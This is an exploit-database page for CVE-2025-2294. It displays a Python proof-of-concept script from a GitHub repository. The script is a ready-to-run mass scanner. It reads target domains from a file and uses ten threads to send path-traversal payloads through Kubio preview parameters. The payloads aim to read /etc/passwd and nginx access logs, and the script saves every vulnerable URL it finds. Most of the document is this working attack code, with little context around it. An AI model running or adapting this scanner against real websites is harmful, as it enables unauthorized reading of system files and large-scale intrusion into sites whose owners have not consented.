Exploit database

GH-e7311a3f1ede0f07c7b267b9a4c89beb

yucaerin/cve-2025-2294

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-2294

5 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
yucaerin/cve-2025-2294Revision acfc57a5908d

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2025-2294.py

Python · 1,969 bytes
import requests
import threading
from urllib.parse import quote

THREADS = 10
LOCK = threading.Lock()

with open("list.txt", "r") as f:
    targets = [line.strip() for line in f if line.strip()]

passwd_payload = quote("../../../../../../../../etc/passwd")
log_payloads = [
    quote("../../../../../../../../var/log/nginx/access.log"),
    quote("../../../../../../../../var/log/nginx/access_log")
]

def check_target(domain):
    for scheme in ['http://', 'https://']:
        base_url = f"{scheme}{domain}"
        try:
            url_passwd = f"{base_url}/?__kubio-site-edit-iframe-preview=true&__kubio-site-edit-iframe-classic-template={passwd_payload}"
            r1 = requests.get(url_passwd, timeout=10)
            if "root:x:0:0:root" in r1.text:
                print(f"[✓] LFI /etc/passwd FOUND {url_passwd}")
                with LOCK:
                    with open("result_etc_passwd.txt", "a") as f:
                        f.write(url_passwd + "\n")

            for log_payload in log_payloads:
                full_url = f"{base_url}/?__kubio-site-edit-iframe-preview=true&__kubio-site-edit-iframe-classic-template={log_payload}"
                r2 = requests.get(full_url, timeout=10)
                if any(kw in r2.text for kw in ["Mozilla", "AppleWebKit", "GET / HTTP/1.1"]):
                    print(f"[!!] Access log FOUND on: {full_url}")
                    with LOCK:
                        with open("result.txt", "a") as f:
                            f.write(full_url + "\n")
                    return  
            return  
        except requests.RequestException:
            continue

def worker():
    while True:
        try:
            domain = queue.pop()
        except IndexError:
            break
        check_target(domain)

queue = targets[:]
threads = []

for _ in range(THREADS):
    t = threading.Thread(target=worker)
    t.start()
    threads.append(t)

for t in threads:
    t.join()

print("[✓] Selesai.")